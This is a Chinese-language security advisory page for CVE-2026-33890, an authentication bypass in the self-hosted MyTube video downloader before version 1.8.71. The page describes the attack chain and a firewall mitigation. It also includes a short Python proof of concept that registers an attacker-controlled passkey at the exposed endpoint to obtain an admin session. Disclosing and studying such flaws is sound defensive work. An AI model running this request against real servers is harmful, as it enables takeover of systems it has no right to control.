IPBUF安全漏洞报告
English
CVE-2026-33890 CVSS 9.8 严重

CVE-2026-33890 MyTube未授权任意密钥注册漏洞

披露日期: 2026-03-27

漏洞信息

漏洞编号
CVE-2026-33890
漏洞类型
认证绕过
CVSS评分
9.8 严重
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
MyTube

相关标签

认证绕过MyTube权限提升CVE-2026-33890RCE

漏洞概述

MyTube是一款自托管的多网站视频下载器和播放器。在1.8.71版本之前,该应用程序存在一个严重的安全漏洞。由于应用程序在未进行身份验证的情况下暴露了密钥注册端点,未经身份验证的攻击者可以注册任意密钥。一旦成功注册,这些密钥将自动被授予管理员令牌,从而允许攻击者获得完整的管理员会话。这意味着攻击者无需任何现有凭据即可完全接管应用程序,造成严重的数据泄露和系统控制风险。

技术细节

该漏洞的根本原因在于MyTube应用程序对WebAuthn或类似机制的密钥注册流程缺乏必要的身份验证检查。在受影响版本中,应用程序允许任何匿名用户请求注册新的凭证。攻击者利用这一逻辑缺陷,向未受保护的注册端点发送特制的HTTP请求,并在请求中包含自行生成的公钥和凭据ID。由于后端未验证请求者的身份,直接接受了注册请求,并将新注册的密钥与具有最高权限的管理员账户关联。随后,攻击者利用该密钥完成认证流程,获取服务端颁发的管理员会话令牌。这种利用方式完全绕过了传统的身份验证机制,使得攻击者能够以管理员权限执行任意操作,包括下载视频、管理用户以及修改系统配置,从而导致系统完整性、机密性和可用性的全面沦陷。

攻击链分析

STEP 1
信息收集
攻击者识别出目标系统运行的是MyTube应用程序,且版本低于1.8.71。
STEP 2
漏洞利用
攻击者向暴露的密钥注册端点发送特制的HTTP POST请求,注册一个恶意的任意密钥。
STEP 3
权限提升
应用程序后端自动将新注册的密钥标记为管理员权限,并颁发管理员令牌。
STEP 4
系统控制
攻击者使用获取的管理员会话完全控制应用程序,窃取数据或进行破坏。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests import json # Target URL (Placeholder, replace with actual endpoint) TARGET_URL = "http://target-host/api/passkeys/register" def exploit(): # Payload for arbitrary passkey registration # The application accepts this without authentication payload = { "id": "attacker-controlled-id", "rawId": "attacker-controlled-id", "type": "public-key", "response": { "clientDataJSON": "eyJjaGFsbGVuZ2UiOiAiIn0=", # Base64 encoded dummy data "attestationObject": "o2NmbXRmcGFja2VkZ2F0dFN0bXSiY2FsZyZjc2lnWEcwRQIhAIg==" # Dummy attestation } } headers = { "Content-Type": "application/json", "User-Agent": "CVE-2026-33890-Exploit" } print(f"[*] Sending malicious registration request to {TARGET_URL}") try: response = requests.post(TARGET_URL, json=payload, headers=headers, timeout=10) if response.status_code == 200 or response.status_code == 201: print("[+] Exploit successful! Arbitrary passkey registered.") print(f"[+] Admin access granted via: {response.cookies}") else: print(f"[-] Exploit failed. Status code: {response.status_code}") print(response.text) except Exception as e: print(f"[-] An error occurred: {e}") if __name__ == "__main__": exploit()

影响范围

MyTube < 1.8.71

防御指南

临时缓解措施
如果无法立即升级,请暂时禁用MyTube服务或通过Web应用防火墙(WAF)拦截对/api/passkeys/register(或类似路径)的未授权POST请求。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表